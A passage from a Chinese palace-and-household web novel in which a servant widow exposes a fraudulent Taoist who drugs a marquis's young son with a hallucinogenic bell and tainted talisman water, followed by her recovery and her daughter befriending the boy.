他穿着月白色的小袍子,小脸还有些苍白,一踏进院子里,眉头就紧皱起来,不肯进门。
张嬷嬷轻声道:“二少爷,没事的,就一会儿……”
裴恪不听,往后退缩得更厉害,眼神畏惧。
下人们也不敢强行拖拽,怕引起他的剧烈反应,一时间都不知如何是好。
“恪儿,来,到祖母这里来。”老夫人起身,亲自去牵裴恪。
裴恪抖着小身子,被老夫人牵着手,慢慢走向主座那边。
“恪儿乖,一会儿你只要站在此地,听从大师的吩咐就好。你放心,祖母会保护你的。”
裴恪害怕这样的场面,直摇头,抬脚就要往门口跑,却被下人拦住。
老夫人又心疼了,正欲开口,这时,就见胡望从袖子里取出一个摇铃。
“叮……”
那声音十分清脆,却不刺耳,反而透着一股说不出的怪异。
裴恪的脚步像被定住了一样,身体一僵。
胡望又摇了两下。
“叮……叮……”
裴恪的眼睛,慢慢变得空洞。方才的抗拒、恐惧、挣扎,像潮水一样褪去。
他站在那里,目光呆滞,面无表情,像一尊被抽去灵魂的木偶。
老夫人愣住了:“胡大师,这……”
“不妨事,只是让二公子安静些,好做法事。”他朝小道童吩咐。
“把他带过去。”
很快,裴恪被安置在法坛前的凳子上。
老夫人见孙子这副模样,心里很不是滋味,却又说不出哪里不对。
胡望走上法坛,点燃三炷香,插进香炉。
青烟袅袅,升腾而起。院子里很快弥漫着一股浓烟味。
之后,他又拿起桃木剑,嘴里念念念有词:“天灵灵,地灵灵,太上老君急急如律令……”
沈令薇抵达的时候,看到的就是这样一幅画面。
隔着院门,她看到二少爷坐在那台子上面,双眼涣散,无神,像是被操控了意识,她心中暗叫不好。
她想也不想地抬脚入内,却被门口的两个婆子给拦住。
“站住!老夫人有令,任何人不得入内!”
“烦请禀告老夫人,奴婢有重要的事,要向她禀报。”
两个婆子见沈令薇面生,又穿着普通的下人服饰,闻言并不买账。
“老夫人正在里头接见贵客,哪儿有功夫见你,等法事做完再说。”
沈令薇咬牙,等做完,二少爷就真的废了!
她神色凝重,拿出气势道:“此事关乎二少爷性命,若是耽误了,你们担待得起吗?”
两个婆子对视一眼,虽有犹豫,但依旧不肯放行。
“不行,老夫人交代了,除非你能说出具体什么事,否则,我们不能放你进去。”
沈令薇突然扬声朝里面喊道:“老夫人!奴婢有关于二少爷性命的大事要禀报!”
两个婆子吓了一跳,急忙来捂她的嘴:“住口!惊扰了做法,你担待得起吗?”
沈令薇挣扎着,声音却更大:
“老夫人!那符水有问题!二少爷喝不得!”
她的声音很快惊动了老夫人,包括正在做法事的胡望。
但胡望此刻正进行到关键处,不好打断。只能把手里的铃铛摇得更加卖力。嘴里的念叨也越发大声,试图盖过沈令薇的声音。
片刻后,张嬷嬷出现在门口,脸色沉凝。
“吵什么?”
沈令薇挣脱开,立刻上前:“张嬷嬷,必须赶快阻止法事,不然二少爷真的就要出事了!”
张嬷嬷一惊:“你说什么?”
沈令薇压低声音,在她耳边小声说了几句话。
下一秒,张嬷嬷脸色骤变:“当真?”
沈令薇神色凝重:“奴婢愿拿身家性命保证,若嬷嬷信得过奴婢,一会儿,定能让那妖道显形。”
张嬷嬷权衡了一番,最终咬牙,道:“行,那你先去准备,我这就去禀报老夫人。”
这头,胡望余光瞥见沈令薇已经离开,心下得意。
他又绕着法坛走了一圈,最后停在裴恪面前,抽出几张黄符纸,隔着虚空一指,那符纸便神奇地被点燃。
最后又将燃烧的
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纸灰扔进一碗黑红色的水碗里。里头的水立马‘滋滋’作响,冒起几缕白烟。
“将此圣水给他饮下,再睡上一觉,等他醒来,邪祟也就驱除了。”
裴恪呆呆地望着那碗水,依旧没有反应。
胡望冷哼一声,像是对着裴恪身体里的另一个人说话:“孽障,你寄居他人肉体凡胎,扰其心智,毁其体魄,本座好心超度,你竟敢拒不配合?当真以为本座治不了你?”
说完,他再次举着桃木剑,直指裴恪胸口,速度极快。
上头的老夫人惊得从椅子上‘噌’地起身,脸色大变。
“恪儿!”
然而,桃木剑只停留在裴恪胸口不到一寸的距离。
紧接着,胡望嘴里又念道:“天地玄黄,日月洪荒。孽障,本座数三声,你再不现身,休怪本座不客气!”
“三!”
“二!”
“一!”
伴随着最后一道声音落下,他剑尖一扫,带起一阵风。
就在劲风扫过裴恪面门的瞬间,裴恪小小的身体猛地一抖,像是被什么东西击中。
然后,他双手捂住头,整个人剧烈地颤抖起来,喉咙里还发出破碎的‘呜咽’声。
像是在绝望,害怕,紧张!
胡望又抽出一张符纸,在烛火上点燃,绕着裴恪的头挥舞。
“天地无极,乾坤借法!孽障,速速离体,否则本座让你灰飞烟灭!”
裴恪抖得更厉害了,眼神都开始涣散,喉咙里更是发出刺耳的尖叫声。
是那种濒临绝望的,无法控制的尖叫。
“啊!啊……”
老夫人脸色煞白,坐立不安,心都揪了起来,一双老眼蓄满了泪水。
“大师,恪儿他这是怎么了啊?”
胡望头也不回,“老夫人莫慌!这是邪祟在挣扎,只要将它逼出来,二公子就没事了!”
转头,他朝两个粗使婆子吩咐:“将他架住,本座要强行驱邪!”
两个婆子颤颤巍巍的,不敢上前。
二少爷眼下这情况,当真合适吗?
胡望目光一厉,喝道:“快!耽误了时辰,邪祟反扑,你们担待得起吗?”
两个婆子不忍地闭上眼,准备朝裴恪伸出手。
就在这时,一道清冷的声音突然自身后响起。
“且慢!”
第18章 你确定,这是在救人,而不是害人?
众人回头,只见沈令薇不知什么时候站在门口,手里还端着一个托盘,上面放了一个碗,还有几样东西。
胡望一看到她,眼底快速地掠过一抹冷光,厉声斥责:
“好你个不知天高地厚的妇人,贫道在此做法,岂容你擅自打断?简直是不知死活!”
沈令薇直视他的目光,没有半分畏惧:“大师真的确定,这碗符水是在救人,而不是在害人?”
胡望猛地回头,怒目圆睁:“放肆!你区区一个妇人,懂什么道法玄机?此乃开坛请神、焚符七七四十九道才请下的圣水,岂容你妄加非议?你三番两次阻扰,是对神明的大不敬!”
老夫人脸色也沉了下来,有些不悦的开口:“沈氏,休要胡言乱语,来人,将她带下去!”
两个婆子说着就要上前。
沈令薇‘扑通’一声跪地,恳求道;“老夫人,奴婢不懂道法,也不懂什么神明,但奴婢懂二少爷。”
她指了指还在角落里发抖的裴恪,道:“老夫人您看,二少爷现在这个样子,可像是被驱邪的样子?”
老夫人一愣,心下更痛。
“奴婢斗胆问一句,若是强行灌下这碗符水,二少爷受不住,伤了神志,留下什么祸根……到那时,该怎么办?”
老夫人脸色骤变,嘴唇都失去几分血色。
胡望眼神一厉,怒道:“本座的圣水乃是神物,岂会伤了二少爷分毫?”
沈令薇寸步不让,“那大师可敢让我查验一二?”
胡望冷哼:“荒谬!这圣水是老道开坛七七四十九日才请下的神物,一滴便能涤荡邪祟。仅此一碗,你当是你厨房做菜的井水吗?”
他转身朝老夫人拱手:“老夫人,这妇人分明是在拖延时辰。再耽误下去,邪祟彻底扎根,老道也无力回天!”
老夫人攥紧手里的佛珠,一时也有些难以抉择。
沈令薇深吸一口气,紧盯着胡望:“大师这般推三阻四,究竟是不敢,还是不能!”
胡望脸色一变,一道带着杀气的目光直射向沈令薇。
眼下,若继续阻止,反倒显得生疑。
也罢,左右这水不过是加了些符纸灰而已,她一个在吃食上颇有研究的妇人,难道还真能查出什么不成?
“也罢,”胡望一甩袖子,退至一旁,“你且验来。”
他退到一旁,眼底满是不屑。
沈令薇走近法坛,伸出手,从头上取下一根银簪,慢慢浸到那碗里。
所有人的目光都汇集到那支银簪上。
胡望负手而立,神色相当的从容。
过了数秒,簪子被取出,但却没有变色,依旧是雪白的。
胡望笑出声:“大家都看到了吧?这圣水乃是神物,何来的毒?”
“你这卑贱的妇人,竟敢如此亵渎神灵,还妄图破坏法事,老夫人,老道恳请您,今日务必要严惩这妇人,以平复神灵的怒气。”
老夫人叹了口气,眼底满是失望之色,就要示意下人们动手。
“大师急什么?”沈令薇已再次开口,声音不卑不亢。
“有些毒物隐蔽,或许需要更长的时间。咱们不若再等上片刻。”
胡望心下惴惴。
这水有没有毒,他最清楚,可这妇人难道要做什么陷害自己?
也罢,若真如此,倒也是个一举除掉她的好机会!
胡望眼底一阵精光闪烁,而后道:“既如此,那便再等上一刻钟,可若是一刻钟以后,这簪子没变色,该当如何?”
沈令薇声音依旧平稳:“若是一刻钟后仍然没有变色,我愿任凭处置!”
“好!”胡望一口应下,眼底藏着狠厉。
一时间,院子里仿佛落针可闻。
所有人的目光,都死死盯着那碗符水和银簪上。
一刻钟,说长不长,说短,也不短。却像熬了整整一个时辰。
裴恪已经被安抚住,坐在老夫人旁边。
院子里的丫鬟奴才,大气都不敢喘一声,安静的只剩下风吹旗幡的声音。
终于,一刻钟过去。
沈令薇缓缓伸手,取出那碗里的银簪。
胡望闭着眼睛在蒲团上打坐,一副沉稳十足,不动如山的模样。
“如何?贫道早说过,此乃上天赐下的圣水,岂是你一介卑贱的妇人能……”
“师、师傅……”身边的小道童突然拽了拽他的袖子,声音颤抖。
“慌什么?”胡望不耐烦地睁眼,正要呵斥,可却在目光落到那银簪上时,倏地呆住。
“这……这是?”
胡望满脸不敢置信,看着
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那截变黑的银簪,整个人如同被雷劈中。
“这怎么可能?”
他急忙起身上前,将那银簪夺过来,细细查看。
簪子已经呈现两种颜色,上半截依旧银亮雪白。
可下半截,却被浸出了一层淡淡的灰色。不是那种深黑,但也一眼能看出来颜色的变化。
周遭众人在看清银簪变化后,集体倒吸了一口凉气。
沈令薇转过身,不慌不忙道:“大师,现在可还有什么话说?”
“不可能!”
胡望像突然想到什么,怒视着沈令薇。
“这水里有没有毒,老道还能不知道?定是你这贱妇动了手脚!”
“说!你往这圣水里加了什么?”
沈令薇冷笑一声:“方才我的一举一动,诸位也都看着的,我能往里面加什么?”
“再说了,我也没有理由这么做。”
胡望一噎,一时不知该如何回答,眉头皱成了‘川’字。
对此,老夫人也眉头紧锁,不知该作何判断:“此事非同小可,你们二人既各执一词,可有法子证明?”
胡望额头沁出冷汗,脑子飞快转着。
证明?怎么证明?
那水里确实加了朱砂,可那是用来让符水“显灵”的,他比谁都清楚。
但他不能认。
他咬了咬牙,正要开口——
“老夫人,”沈令薇不紧不慢地开口:“奴婢有一言,不知当讲不当讲。”
“你说。”
沈令薇拿起那截簪子,对着阳光,好让所有人都能看清那截变色。
“这银簪之所以会变色,是因为水里确实有毒。只是毒物不重,所以一开始浸入时,簪子并未立刻变色。”
她转向胡望,一字一句道:“但胡大师行走江湖多年,想必比民妇更清楚,这朱砂之毒,遇银变黑,需得半盏茶的时间方能显形。”
胡望脸色一白,额头渗出细细的汗来。
他脑袋飞速地转动半天,最后道:“贫道虽不知你用了何种方法,令这银簪变黑,但贫道身为方外之人,是以治病救人,除魔卫道为己任,又有什么理由来行此自毁名誉之事?”
他这话说得也在理,众人再次议论纷纷,眉头紧皱。
然,沈令薇却再一次道出了问题关键。
第19章 替天行道,收了你!
“是吗?可若是大师您自己也不知道这符水有毒呢?”
“你说什么?”胡望满脸的不敢置信。随即像是受到了莫大的屈辱。
“笑话!贫道这符纸乃是受过香火供奉的灵物,朱砂亦是辟邪圣品,由贫道亲手调配,怎会不知其性?你这妇人,先说贫道下毒,现下又改口说贫道‘不知’,如此自相矛盾,分明是想混淆视听,陷贫道于不义!”
他转向老夫人,痛心疾首地控诉:“老夫人明鉴,贫道自从入府以来,一心只为二公子驱邪,不敢有半分懈怠,今日这妇人先是打断法事,又用邪术污蔑贫道,如今更是满口胡言,其心可诛啊!”
到了这个时候,老夫人对胡望的信任已经大打折扣。
但胡望毕竟名声在外,若这符水真有毒,为何先前的人喝了都没事?
京中一些高门大户,也常有人请道士来府上作法的,从未听说过这圣水会有毒。
“沈氏,仅凭这银簪变色缓慢,确实难堵悠悠之口。你既口口声声说这水有毒,可还有别的铁证?”
沈令薇等的就是这句话。
“回老夫人,奴婢还真有一个法子。”
说完,她转身端起先前带进来的那个托盘,上面放了一个小碗,里头正装着半碗米汤。
“大师说这水是涤荡邪祟的圣物,那民妇便用这最寻常的五谷精华来试一试。”
胡望眼皮一跳,“你想干什么?”
沈令薇端起小碗:“这是我早上熬的米汤,刚好还剩下一些。”
为了证明所言非虚,她还端起来喝了一小口。
然后,在众人诧异的目光中,将少许米汤倒进那符水碗里。
众人屏息凝神,盯着那碗米汤。
数息过后,只见那原本雪白清亮的米汤,竟缓缓泛起了一层青灰色,像是被什么东西给污染了一样。渐渐变得浑浊,最后呈现出墨绿色。
众人不可思议地瞪大眼睛:“这……”
老夫人捏着佛珠,倏地起身,眼底满是惊骇。
沈令薇端给众人展示,“诸位请看,这米汤遇毒而变,已是铁证,此乃民间常用的验毒土法,虽然简陋,却从未失手。”
“二少爷身体虚弱,这碗水连最温和的米汤都容不下,你还要说这是救命的圣水吗?”
胡望脸色煞白,备受打击的后退了两步,张嘴辩解:“邪术……这定是你使了邪术……”
“到底是谁在使用邪术?大师心里没数吗?”沈令薇反问道。
说完,她又拿起案桌上的一张黄符纸,在众人面前展开,然后从托盘里捻起一小撮白色粉末,轻轻抹在符纸一角。
紧接着,让众人震惊的一幕出现了。
只见沈令薇将那符纸靠近烛火,‘呼’的一声,那符纸突然燃起青绿色的火焰,和胡望刚才那‘隔空点火’的招式,一模一样。
人群中响起一阵惊呼。不敢置信地看着眼前这一幕。
“天啦!这……这沈娘子怎的也会隔空点火?”
“难道又是什么民间的戏法?”
议论声此起彼伏,老夫人的脸色已经黑成了锅底,浑浊的眼底迸发出一股锐芒。
“胡大师,”老夫人伸手指着那碗符水,沉声质问,“这是怎么一回事?”
胡望脸上的血色已经褪了个干净,嘴唇剧烈地颤抖着。
“这……这不可能!”
他死死盯着沈令薇手里那张燃烧的符纸,踉跄着后退了两步,撞上身后的法坛。
“你……你究竟是何人?”
这种隔空点火的本事,只有内行的人才知晓,她一个出生乡野的妇人,是从何得知?
他目光惊疑地从沈令薇脸上扫过,像是突然想到什么,当即拔高了声音:
“一个山野寡妇,怎会知晓这等‘隔空取火’的秘术?你……你难道也是哪个道门出来的叛徒?”
沈令薇震惊于他的脑回路,有些无语。
“大师言重了,民妇一介妇人,怎会入道教?不过是以前村子里有个游医走街串巷,见过些江湖把戏而已。”
胡望眼底闪过一丝狠色,眼底的伪善也化作了野兽一般的疯狂。
“妖孽,竟敢在此惑众人!贫道今日便替天行道,收了你这邪物!”
就在众人猝不及防的时候,胡望突然大喝一声,
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猛地将手里那枚铃铛举过头顶,对准沈令薇,开始剧烈的摇晃。
“叮……叮……叮……”
突如其来的破音,像一根根细针一样,倏地刺入众人的识海。
院子里的众人皆感觉脑袋里有根筋被扯住,不断地被拉着,拽着,痛苦不已。
沈令薇离得近,首当其冲,眼前的画面开始扭曲,重叠。脑海里像有无数的回音。
老夫人见状不对,赶紧吩咐下人将裴恪带走。
“快,千万不能误伤了二少爷,堵住他的耳朵!”
陈石头一个激灵,赶紧从一旁的丫鬟手里夺过一块帕子,打成结,塞到裴恪的耳朵边,“快,二少爷这边走。”
周围的下人也纷纷捂住口鼻,踉跄后退。
法坛旁边,就只剩下沈令薇,那诡异的铃声,像刀子一样往脑子里钻,脑海里疼得像有无数只蚂蚁在爬。
同时,不知哪里飘来一股浓烟,不断往她鼻子里钻。又麻又痒,意识像是被什么东西狠狠拉扯,有什么东西正试图强行闯入……
她咬紧牙关,指甲掐进掌心,强迫自己稳住心神。
胡望站在烟雾中心,疯狂地摇着铃铛。
“妖孽,还不快给贫道现形!”
她踉跄了两步,不小心撞到身边的供桌,上面的碗碟和贡品噼里啪啦落了一地。
可就是这些杂音,短暂地打乱了那铃声的节奏,音波一晃。
就是现在!
沈令薇趁着动荡之际,赶紧咬住自己的舌尖,试图用疼痛来唤醒自己。
同时,她的指甲也深深扣进掌心里,眨眼间便穿破掌心,带出血丝。
胡望的铃铛摇得更猛了。
“妖孽,看着贫道的眼睛!”
沈令薇强迫自己不去看,不去听,可那声音却怎么也抵挡不住,烟雾还在呛。
她屏住呼吸,狠狠咬破舌尖,血腥味瞬间在口腔弥漫。
胡望只想快速制服她,离得更近了些,试图近距离施展摄魂术。
沈令薇原本半低着头,看准时机后,突然一个蓄力,对着那摇晃的铃铛,‘噗’的一声喷出一口鲜血来。
“噗!”
第20章 他把她打横抱起
鲜红的血珠溅在铃铛上,像是被什么东西侵蚀了一般,竟“滋滋”地冒起细小的白烟。
原本那诡异又令人头皮发麻的铃声,瞬间哑了。
众人清醒,不敢置信的看着眼前这一幕。
沈令薇趁机端起那碗符水,对着地上那冒烟的香炉泼过去。
“嗤啦!”
炉子里升起一股白烟,香炉被浇灭,那令人心里发慌的浓烟,也逐渐消散。
待浓烟散去,众人便瞧见沈令薇站在那高高的法坛上,衣衫凌乱,发丝散落,嘴角还挂着血迹。
而胡望,则瘫坐在地上,瞳孔放大,满脸的惊慌失措。
“这……这不可能……你怎么会?”
幻象破灭,众人意识回笼,定定的看着眼前这一幕。
沈令薇弯腰,捡起那枚落在地上的铜铃。
“大师,你还要演到什么时候?”
铃铛内刻有纹路,里面还残留着白色的膏状物,“你难道不准备对大家解释一下,这里面涂着什么?”
胡望已经脸色煞白,像见鬼一样看着沈令薇。
该死!她一个后宅妇人,为何会知晓这里头的玄机?
之后,又见她把铃铛翻过来,朝众人展示底部的一个小暗格。
“方才那烟雾,也是从这里散出来的吧?”
在场响起一阵抽气声!
沈令薇一边检查物证,一边朝众人解释:“若我没猜错的话,这铃铛内壁涂抹了曼陀罗与朱砂调制的致幻膏,这烟雾中也掺杂了铅汞,二者混合,一面刺激听觉,一面刺激呼吸感官,能让人瞬间神志恍惚。”
她顿了顿,一字一句道;“所以,二少爷之前的‘安静’,根本不是邪祟退散,而是被这些毒物生生吓傻了,药麻了!是也不是!”
胡望整个人瘫在地上,惊恐的看着沈令薇,像是在看一个魔鬼。
“你……你这妖妇……你懂什么……”
“本侯也想知道,她懂些什么?”一道冷厉的声音响起。
紧接着,院门被人猛地推开,一道颀长的身影大步走了进来,身后跟着陈凡,和几个护卫。
是裴谨之。
他先是扫过满院子的狼藉,最后定格在沈令薇身上,看见她嘴角的血迹,目光倏地变沉。
他缓步走上台,通身那股久居上位者的杀伐之气,让胡望直接瘫倒在地。
“侯、侯爷……”
他自知大势已去,今日怕是难逃一死。开始鬼哭狼嚎,试图做最后的挣扎。
“是她!”他伸手指着沈令薇,反咬一口:“她是妖孽,不知是用什么法子,竟破了贫道的功法,此女绝非寻常妇人,故意应聘入府怕是别有居心……”
“住口!”
话音未落,老夫人的斥责声响起。
张嬷嬷扶着她,颤颤巍巍地上前,眼底燃烧着滔天的怒火。
“你这妖道!事到如今,还想狡辩,你当老身和在场众人都是瞎子不成?”
她指着地上那铃铛,还有迷药,气得手都在颤抖。
“这些,这些腌臜物什,你骗了老身的银子不打紧,可你险些害了恪儿的性命!你简直该死!”
老夫人气得捶胸顿足,站不稳。
裴谨之上前扶住老夫人,看向胡望,眼神凉薄,犹如在看一个死人。
“来人!将这欺世盗名、谋害性命的妖道拖下去,重打五十大板,然后带着这些东西,一起押往京兆尹!告诉府尹,务必重判!”
“是!侯爷!”陈凡领命,朝身后几个护卫一抬手。
两个护卫应声上前,架起胡望就往外拖。
“老夫人饶命!侯爷饶命啊……”
一个护卫嫌他太吵,利落地卸掉他的下巴,像拖死狗一样很快拖出了院门。
院子里再次安静下来。
老夫人深吸一口气,压下翻涌的情绪,转身朝沈令薇走去。
“好孩子……”老夫人想伸手去握住沈令薇,不料却被沈令薇躲开。
“老夫人,奴婢手上脏……”
老夫人垂眸,看到了她手上的血丝,顿时眼眶泛红。
“委屈你了。今日若非你拼死护着,老身这乖孙怕是当真要毁了。你又救了恪儿一命,是我们侯府的大恩人。”
“老夫人言重了,奴婢不过是做了该做的事。”沈令薇回道。
老夫人又客气了几句,并同她商议,以后打算把整个静和苑都交给她来打理。
这是打算要重用沈令薇。
沈令薇立在一旁细细听着,刚准备张嘴,突然眼前一花,刚才强行撑住的精气神,像是瞬间被抽空了一样,身子变得软绵起来。
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>刚才胡望那番摄魂术,到底还是伤到了身体。
老夫人正说着话,突然瞧见她脸色煞白,嘴唇都失去了血色,不由得大惊。
“沈氏?”
沈令薇只觉得耳朵再也听不见声音,脑子里像有一股电磁杂音在长响。
她看到老夫人张嘴喊了一声什么,还有众人突然震惊的神色。
眼前的光影越来越模糊,意识消散前,她看到眼前出现一张放大的俊脸,以及一双带着慌乱的黑眸。
老夫人察觉到沈令薇状态不对时,刚要上前帮忙,却被人抢了先。
是儿子,只眨眼的速度,便稳稳的托住了沈令薇的身子,脸色带着几分隐忍的慌乱。
“陈凡,去请大夫!”裴谨之忙道。
老夫人怔在原地,嘴张了张。正要说话,却见儿子已经打横抱起了沈令薇,大步朝着院外走去。
走到一半像是才突然想起什么,又转过身,道。
“母亲,儿子先带她下去医治。”
老夫人呐呐地点了点头,挥手道:“去吧,记得用最好的药,仔细养着。”
裴谨之点点头,转头大步离去。
老夫人看着儿子远去的背影,眉心拧成了疙瘩。
张嬷嬷在一旁察言观色,轻声道:“老夫人,这里风凉,咱们回屋吧?”
老夫人没动,过了半晌,才重重地叹了口气。
“你瞧见方才谨之的神色了吗?”
张嬷嬷心头微震,却只低眉顺眼地劝道:“侯爷那是情急之下乱了分寸。沈娘子毕竟是为了二少爷才遭的罪,又是咱们府上的恩人,侯爷向来重情义,关心则乱也是有的。”
“重情义……”老夫人细细咀嚼着这三个字,嘴角泛起一抹苦涩。
“我倒宁愿他是真的只为了那点子情义。可你瞧瞧沈氏那张脸,再瞧瞧他方才那副模样,分明是……唉。”
张嬷嬷权衡了一番,试探道:“老奴斗胆说一句,侯爷这些年……太苦了。夫人走了五年,他就把自己关了五年。如今能有个入他眼的人,兴许……是好事呢?”
老夫人霎时一怔。
但一想到什么,又叹气:“若真是如此,倒好说,大不了纳了做个姨娘就是,我只是担心……他把沈氏当成了玉娘的影子。”
……
第21章 禁地
沈令薇是被一阵细细碎碎的呜咽声搅醒的,那声音像是受惊的小猫,听得她心口一阵阵发紧。
“娘亲……你快醒醒……安安怕……”
她费力地掀开眼皮,入眼是熟悉的蓝花帐顶,安安正趴在床沿上,一双大眼睛蓄满了眼泪。
见她终于醒来,安安再也控制不住,眼泪大颗大颗滚落下来。
“呜呜……娘亲!你终于醒了,我以为你也要像爹爹一样丢下我了。”
“傻丫头……娘在呢。”
她想伸手摸摸女儿的头,一动弹,才发现右手手背被裹上了一层纱布,隐约还透着一股子药味。
刹那间,昏迷前的记忆突然涌上脑海。
老夫人惊慌的脸,还有……一双带着慌乱的黑眸。
沈令薇试图起身,摇了摇头。
一定是自己看错了。
侯爷那般端方清冷的人,怎么会紧张她一个下人。
她头还有些晕,安慰安安先别哭。
这时,门帘被掀开,银杏端着一个托盘走了进来。
“沈娘子可算醒了,再不醒,安安要把这院里的地砖都哭湿了。”
她将药碗放在一旁的小几上,圆圆的眼睛笑得眯起。
“安安你看,我就说了吧,你娘亲准没事,外边的人都说,你娘亲的福气还在后头呢。”
这话让沈令薇一怔;“外面的人?”
银杏理所当然地点头:“对啊,沈娘子你是不知道,昨天侯爷亲自抱着你回来的,还请了大夫,侯府好多人都瞧见了,如今大家都在传,府里的三位小主子要添小娘了呢。”
沈令薇石化在当场,脑瓜子‘嗡’的一声,丧失了思考能力。
侯爷亲自抱着她?
还请了大夫?
所以她晕倒前看到的那双眼睛,是真的?
但转念一想,沈令薇突然明白了什么,一颗心顿时不断地下沉,再下沉。
沉到了谷底。
“银杏!莫要胡说!”她郑重地警告银杏。
“我们是下人,侯爷是主子,侯府规矩大如天,怎敢生出这等心思。”
话是这么说,可沈令薇心里已经开始打鼓。
人言可畏,就算她没有这个想法,可架不住一传十,十传百。
再加上她这张脸,神似已故的侯夫人。
沈令薇清楚,侯爷定是看在她长得像侯夫人的份上,才生出一丝恻隐之心。
看样子,以后在这侯府,得躲着点侯爷,尽量避免接触。
银杏有些似懂非懂地点头,催她喝过药,又跟她说起另外一件事。
“对了,还没恭喜沈娘子,老夫人吩咐了,从即日起,静和苑的一应事务,今后都由您掌管,升您做了管事娘子呢。”
银杏一脸的与荣有焉,眼巴巴的凑上来,“那个……沈娘子,以后私底下,我可以不可以叫你沈姐姐啊?”
沈令薇焉能看不出她心里的小九九,伸手在她软乎乎的脸上刮了一下。
“当然可以,但是……”她话锋一转:“想要吃厨房的东西,可以,但不能影响了二少爷的一日三餐,要是让老夫人知晓了,我也保不住你的。”
银杏顿时心花怒放:“沈姐姐放心,我晓得分寸的,一定不会给您添乱的。”
沈令薇莞尔。
银杏贪嘴,她是知道的。但只要她办事勤恳,忠诚,她愿意接受这样的‘不完美’。
毕竟以后要管理整个静和苑,多少得培养几个自己人。
-
晚间的时候,沈令薇感觉好了一些,就忍不住下床走动。
可银杏却突然跑进来:“不好了沈姐姐,安安不见了!”
“什么?!”沈令薇心下大惊,连鞋都顾不上穿,急忙跑出去。
“唉,沈姐姐,你等等我……”银杏赶忙提起她的绣鞋,急忙跟了上去。
“安安!安安!”
此时已是傍晚,眼看天色就要暗下去。两人只敢在院子附近的树林,还有厨房附近,也都找过了,还是没见着安安的影子。
沈令薇急得像热锅上的蚂蚁,出了一身的冷汗。
她虽是魂穿来的,但经过这半年的相处,早把安安当做了亲生女儿。
如今她失踪,那种发自于灵魂深处的恐惧,担忧,各种臆测,纷沓而来。
搅得心里发慌。
“沈姐姐,静和苑
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都找过了,团子也没见到。”
“如今,就只剩下二少爷主屋后的那片竹林了。咱们要不要……”银杏找了好半天,喘气道。
沈令薇心下迟疑。
二少爷屋后的那片竹林,被二公子列为了禁地,从不让外人进入。
连陈石头都不让去。
若是安安不小心闯了进去,遇见了二少爷!
沈令薇一颗心提到了嗓子眼,脑海里不断闪过裴恪先前应激发狂,动手伤人的暴戾模样。
“快!银杏,随我去见二少爷!”
若是安安不小心冲撞了二少爷,后果不堪设想!
因为是去禁地,所以两人没有惊动其它人。
沈令薇让银杏在外等候,自己悄悄穿过一道月洞门,竹林就在眼前。
然而,当她穿过竹林,看到眼前的情景时,突然愣住!
夕阳从竹叶缝隙里斜斜洒落,在铺满枯叶的空地上投下一片碎金。
安安蹲在三步开外的地方,怀里抱着团子,正一下一下地给它顺毛。
而三步之外,竟然是二少爷!
他没有生气,没有哭闹,静静地站在那里,眼睛一眨不眨地盯着安安怀里的团子,嘴唇微微抿着。
这时,安安开口说话;“它真的不会咬人的,特别好摸,大哥哥,你想要摸一摸吗?”
沈令薇抬起一半的脚步顿住,仔细观察着二少爷的反应。
裴恪依旧没说话,只吞了吞嗓子。
这时,安安怀里的团子‘喵’的一声跳下来,慢悠悠往前走了两步,到了裴恪脚边。
沈令薇一颗心提到了嗓子眼,不放过裴恪脸上一丝一毫的表情。
只见裴恪的身子明显僵了一下,像是被定住,眼睛都不知道该往哪里看,小手紧紧攥起,牙关紧咬,显然不知道该如何应对。
“哇,你看,它很喜欢你呢?”安安惊喜地并蹲下身,指着团子道。
这时,团子干脆躺在裴恪脚边,露出了雪白的肚皮,任由安安去撸,喉咙里还发出呼噜声,显得十分惬意。
裴恪像是被定住了一样,不可思议地看着这个突然出现在自己脚边的小家伙。
第22章 又来一个小哥哥
“安安。”
这时,沈令薇柔柔的出声。
安安听到声音回头,眼睛亮亮的:“娘亲!你看,大哥哥在和团子玩呢!”
沈令薇面露“惊讶”,随即恭顺地屈膝行礼:“二少爷也在,奴婢失礼了。安安年幼无知,竟闯入您的地盘,还请二少爷恕罪。”
随即,她故意板起脸,看向安安,语气也严肃了几分:“安安,娘亲平日怎么教你的?此处是二少爷的禁地,未经允许,不可私自踏入。”
安安歪着头,大眼睛里满是困惑:“娘亲,什么是禁地呀?”
沈令薇蹲下身,耐心地解释。
“就是二少爷一个人的小世界,就像你的小枕头,若旁人不打招呼就拿走,你是不是也会不开心?”
安安似懂非懂地“哦”了一声,转过头,眼巴巴地看着裴恪。
“大哥哥,是这样吗?可是这里好美呀,连团子都赖着不肯走呢。安安……以后是不是不能来这里玩了?”
她声音软糯得像刚出锅的糕点,配合着那微微瞥着的小嘴,任谁看了都要心软。
裴恪嘴巴动了动,依旧没有开口。
可他双手紧紧地攥在一起,眼神焦急,像是在思考要怎么表达自己的意思。
见火候差不多了,沈令薇开始适时的引导:“安安,二少爷是这里的主人。主人的规矩我们要遵守,但若你真的很想来,可以试着问问二少爷。只有二少爷点头同意了,你才能进来,明白吗?”
安安眼睛一亮,往前挪了一小步,仰脸看着裴恪:“真的吗?那……大哥哥,以后安安可以带着团子来跟你玩吗?”
裴恪的眉头紧蹙,像是在权衡些什么。
沈令薇敏锐地捕捉到他眼底闪过一抹慌乱。
可能对于二少爷来说,这个命题有些太大了。在他的认知里,来玩,则意味着有太多的不可控性,规则,持续多久,声音,气味等。
这种未知的恐惧,让他陷入选择焦虑。
沈令薇拉着安安的小手:“安安,二少爷每日都要读书习字,很是辛苦。咱们不能坏了大哥哥的规矩。不如这样,咱们跟大哥哥约个时间,好不好?”
见裴恪并没有排斥,又道:“不如这样,以后呢,反正我每天晚上也要跟二少爷讲故事,不如你也陪着娘一起来,咱们继续讲熊大和熊二的故事,好不好?”
裴恪眼睛一亮,定定地看着沈令薇。
“二少爷,你看这样可以吗?”
这一次,裴恪没有犹豫,重重地点头。
显然,他很喜欢听故事,比之前夫子在课堂上讲的那些故事生动有趣得多。
裴谨之下朝回来后,径直就来了静和苑,好巧不巧的,刚好就看到这温馨又震撼的一幕。
夕阳的余晖洒下,将竹林前空地上几人的影子拉得很长。
他那个向来不肯让陌生人靠近的二儿子,此刻正静静地站在那里,看着几步之外的两人一猫。
对面的母女两人都蹲着,像是在说着什么,而那只橘色的小猫,瘦巴巴的,毛色也算不上鲜亮,正懒洋洋地翻着肚皮,躺在儿子的脚边。
这一幕,令裴谨之生出了几分恍惚。
仿佛这静和苑就该是这样子,仿佛眼前的场景,才更像是……一家人?
